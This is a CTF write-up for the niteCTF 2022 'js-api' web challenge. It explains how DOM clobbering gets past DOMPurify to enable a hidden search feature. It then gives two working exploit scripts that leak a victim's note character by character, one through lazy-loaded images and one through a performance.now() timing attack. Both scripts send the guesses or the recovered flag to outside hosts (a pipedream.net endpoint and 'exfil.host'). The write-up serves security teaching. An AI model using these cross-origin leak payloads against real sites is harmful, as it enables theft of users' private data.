👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Description
  • Solution
  • Unintended Solution
  • Intended Solution

Was this helpful?

  1. 2022
  2. niteCTF 2022

js-api

PreviousUndocumented js-apiNextSTACK the Flags 2022

Last updated 2 years ago

Was this helpful?

Description

We hired a new developer @sohomdatta1, dude coded something, we sent it for a security audit, it came back a sea of red :(

Solution

This challenge had the same premise as . This time, the JavaScript source is different (and slightly more complex).

window.addEventListener('load', async () => {

    function NOTREACHED() {
        // destroy currently availiable data
        // Challenge Author (sohom): 
        // if you are hitting this codepath repeatedly
        // please use a incognito window, your ad-blocker
        // or other extensions might be sending spurious postMessages
        // to this page
        window.location.href = `https://www.youtube.com/watch?v=FtutLA63Cp8`
    }

    function escapeHtml(unsafe) {
        return unsafe
         .replace(/&/g, "&")
         .replace(/</g, "&lt;")
         .replace(/>/g, "&gt;")
         .replace(/"/g, "&quot;")
         .replace(/'/g, "&#039;");
    }



    class NotesManager {
        constructor() {
            this.noteData = window.localStorage.getItem( 'note' ) || '';
            this.noteTextArea = document.querySelector( '#note-text-area' );
            this.noteTextArea.value = this.noteData;
            this.previewNode = document.querySelector( '#output' );
            this.highlightNode = document.querySelector( '#note-search-highlights' )
            this.noteManager = this;
        }

        static getCurrentNoteManager() {
            if ( !this.noteManager ) {
                this.noteManager = new NotesManager();
            }
            return this.noteManager;
        }

        getNotesTextAreaValue() {
            return this.noteTextArea.value
        }
    
        get() {
            return this.noteData.toString();
        }
    
        set(text) {
            if ( typeof text !== 'string' ) return;
            const cleanedText = DOMPurify.sanitize(text);
            this.noteData = cleanedText;
            window.localStorage.setItem( 'note', cleanedText.toString() ); 
        }
    
        /**
         * Previews text, if text is null will preview existing note
         * @param {String} [text] String to preview
         */
        preview(text) {
            if ( typeof text !== 'string' && !!text ) return;
            if ( !text ) text = this.noteData;
            else text = DOMPurify.sanitize( text );
            this.previewNode.innerHTML = text;
        }
    
        /**
         * Search for the particular text
         * @param {String} text text to search for
         */
        search(text) {
            if ( typeof text !== 'string' ) return;
            if ( !window.enable_experimental_features ) return;
            // TODO(sohom): Address concerns raised by our internal security
            // team regarding this API at b/1337. Given that this API
            // is effectively a no-op and is not current exposed anywhere
            // as of version 0.0.1 it should be fine for now.
            // Since our internal bug tracker is well, "internal"
            // I have dumped relevant portion of the b/1337 at
            // https://github.com/sohomdatta1/jsapi-issues/issues/1
            text = DOMPurify.sanitize( text );
            const doesMatch = this.noteData.includes(text);
            if ( doesMatch ) {
                var lastIndex = 0, i = 0;
                for(var i = this.noteData.substring(i).indexOf(text); i < this.noteData.length; i = i + text.length + this.noteData.substring(i + text.length).indexOf(text)) {
                    if ( lastIndex > i ) break;
                    this.highlightNode.innerHTML += escapeHtml( this.noteData.substring(lastIndex,i) );
                    this.highlightNode.innerHTML += `<mark>${escapeHtml( text ) }</mark>`
                    lastIndex = i + text.length;
                }
                document.querySelector( '#note-text-highlight-wrapper' ).classList.remove( 'hidden' );
            }
        }
    }

    // initialize the document
    NotesManager.getCurrentNoteManager();
    NotesManager.getCurrentNoteManager().preview();

    window.document.querySelector( '#note-submit' ).addEventListener( 'click', (e) => {
        e.preventDefault();
        const nm = NotesManager.getCurrentNoteManager();

        nm.set( nm.getNotesTextAreaValue() );
        nm.preview();
    } );

    window.document.querySelector( '#note-save' ).addEventListener( 'click', (e) => {
        e.preventDefault();
        const nm = NotesManager.getCurrentNoteManager();

        nm.set( nm.getNotesTextAreaValue() );
    } );

    window.document.querySelector( '#note-render' ).addEventListener( 'click', (e) => {
        e.preventDefault();
        const nm = NotesManager.getCurrentNoteManager();

        nm.preview( nm.getNotesTextAreaValue() );
    } );

    /**
     * @experimental Added in 0.0.2
     */
    window.addEventListener( 'message', (e) => {
        if ( !e.origin.endsWith('jsapi.tech') ) return;
        const data = e.data;
        if ( typeof data !== 'object' && typeof data.op !== 'string' && typeof data.payload !== 'string' ) return;
        if ( data.op === 'preview' ) {
            NotesManager.getCurrentNoteManager().preview( data.payload );
        } else if ( data.op === 'set' ) {
            NotesManager.getCurrentNoteManager().set( data.payload );
        } else if ( data.op === 'search' ) {
            NotesManager.getCurrentNoteManager().search( data.payload );
        } else {
            NOTREACHED();
        }
    } );

});

The important part is, once again, the message event handler. Just like the previous challenge, we had to use a subdomain takeover to serve an exploit page from a .jsapi.tech subdomain.

window.addEventListener( 'message', (e) => {
    if ( !e.origin.endsWith('jsapi.tech') ) return;
    const data = e.data;
    if ( typeof data !== 'object' && typeof data.op !== 'string' && typeof data.payload !== 'string' ) return;
    if ( data.op === 'preview' ) {
        NotesManager.getCurrentNoteManager().preview( data.payload );
    } else if ( data.op === 'set' ) {
        NotesManager.getCurrentNoteManager().set( data.payload );
    } else if ( data.op === 'search' ) {
        NotesManager.getCurrentNoteManager().search( data.payload );
    } else {
        NOTREACHED();
    }
} );

One interesting feature in this version of the challenge is that we can "preview" our HTML without saving it. Everything is still sanitized through DOMPurify.

/**
 * Previews text, if text is null will preview existing note
 * @param {String} [text] String to preview
 */
preview(text) {
    if ( typeof text !== 'string' && !!text ) return;
    if ( !text ) text = this.noteData;
    else text = DOMPurify.sanitize( text );
    this.previewNode.innerHTML = text;
}

In the preview feature, we can insert sanitized HTML without changing this.noteData. When using the search feature, the original this.noteData is the one being searched for our input text.

/**
 * Search for the particular text
 * @param {String} text text to search for
 */
search(text) {
    if ( typeof text !== 'string' ) return;
    if ( !window.enable_experimental_features ) return;
    // TODO(sohom): Address concerns raised by our internal security
    // team regarding this API at b/1337. Given that this API
    // is effectively a no-op and is not current exposed anywhere
    // as of version 0.0.1 it should be fine for now.
    // Since our internal bug tracker is well, "internal"
    // I have dumped relevant portion of the b/1337 at
    // https://github.com/sohomdatta1/jsapi-issues/issues/1
    text = DOMPurify.sanitize( text );
    const doesMatch = this.noteData.includes(text);
    if ( doesMatch ) {
        var lastIndex = 0, i = 0;
        for(var i = this.noteData.substring(i).indexOf(text); i < this.noteData.length; i = i + text.length + this.noteData.substring(i + text.length).indexOf(text)) {
            if ( lastIndex > i ) break;
            this.highlightNode.innerHTML += escapeHtml( this.noteData.substring(lastIndex,i) );
            this.highlightNode.innerHTML += `<mark>${escapeHtml( text ) }</mark>`
            lastIndex = i + text.length;
        }
        document.querySelector( '#note-text-highlight-wrapper' ).classList.remove( 'hidden' );
    }
}

The search feature checks for window.enable_experimental_features, which is a property that doesn't exist... or does it?

DOMPurify doesn't protect against DOM clobbering, so we can pollute this property by inserting the following HTML through the preview feature.

<a href="asdf" id="enable_experimental_features">CLOBBERED</a>

Unintended Solution

When the text that we are searching is found in the victim's note, a new <div> is rendered with the search results (#note-text-highlight-wrapper has its hidden class removed).

For instance, the following shows a correct search (where the searched content is a substring of the flag).

And the following shows an incorrect search, where no matches are found. Notice how the extra <div> in the correct search was sufficient to push the previewed content out of the viewport.

<a href="asdf" id="enable_experimental_features">CLOBBERED</a>
<img src="https://EXFIL.x.pipedream.net?nope=${CURR_FLAG + char}" loading="lazy">

If we do not receive a request for a particular character, that means that the results section was rendered, and therefore the search was a correct guess.

The following script implements this exploit.

const sleep = (milliseconds) => {
    return new Promise(resolve => setTimeout(resolve, milliseconds))
}

(async () => {
    const CURR_FLAG = "nite{hello_longtasktimingapi_3a2c53"
    const CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789_}"

    for (let char of CHARSET) {
        const frame = document.createElement("iframe")
        frame.width = "100%"
        frame.height = "100%"
        frame.src = "https://challenge.jsapi.tech"
        document.body.appendChild(frame)
        
        await sleep(500);

        frame.contentWindow.postMessage(
            {
                op: "preview",
                payload: `<a href="asdf" id="enable_experimental_features">CLOBBERED</a><img src="https://enrueq28ozwok.x.pipedream.net?nope=${CURR_FLAG + char}" loading="lazy">`
            },
            "*"
        )
        frame.contentWindow.postMessage(
            {
                op: "search",
                payload: CURR_FLAG + char
            },
            "*"
        )
        
        await sleep(500);

        frame.remove()
    }
})()

Intended Solution

It turns out, however, any timing attack with performance.now() would have worked as well.

Because the JavaScript event loop is single-threaded, we just need to use setTimeout to temporarily pass control to the next thing in the callback queue (which is the message handler taking care of the search request), then find out how long it took for control to be passed back to our exploit script.

Although the setTimeout is only for 1ms, it takes much longer in reality for execution to resume because the expensive search function blocks the event loop. By measuring this discrepancy, we can find out if our guess was correct.

const sleep = (ms) => new Promise((res) => setTimeout(res, ms));

async function check(flag) {
    let w = frame.contentWindow;
    w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
    await sleep(1);
    w.postMessage({'op': 'search', 'payload': flag}, '*');
    let t1 = performance.now();
    await sleep(1);
    return (performance.now() - t1) > 200;
}

async function main() {
    let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
    window.frame = document.createElement('iframe');
    frame.width = '100%';
    frame.height = '700px';
    frame.src = 'https://challenge.jsapi.tech/';
    document.body.appendChild(frame);
    await sleep(1000);

    let flag = 'nite{';
    while(1) {
        for(let c of alpha) {
            let result = await Promise.race([
                check(flag + c),
                new Promise((res) => setTimeout(() => { res(true); }, 300))
            ]);
            console.log(flag + c, result);
            if(result) {
                flag += c;
                break;
            }
        }
        new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
    }
}

document.addEventListener('DOMContentLoaded', main);

We can make use of to only load an image if it is within the browser viewport. This way, we are able to tell if the results section was rendered.

The intended solution was to use the to identify if the search was taking more than 50ms.

Undocumented js-api
image lazy loading
PerformanceLongTaskTiming API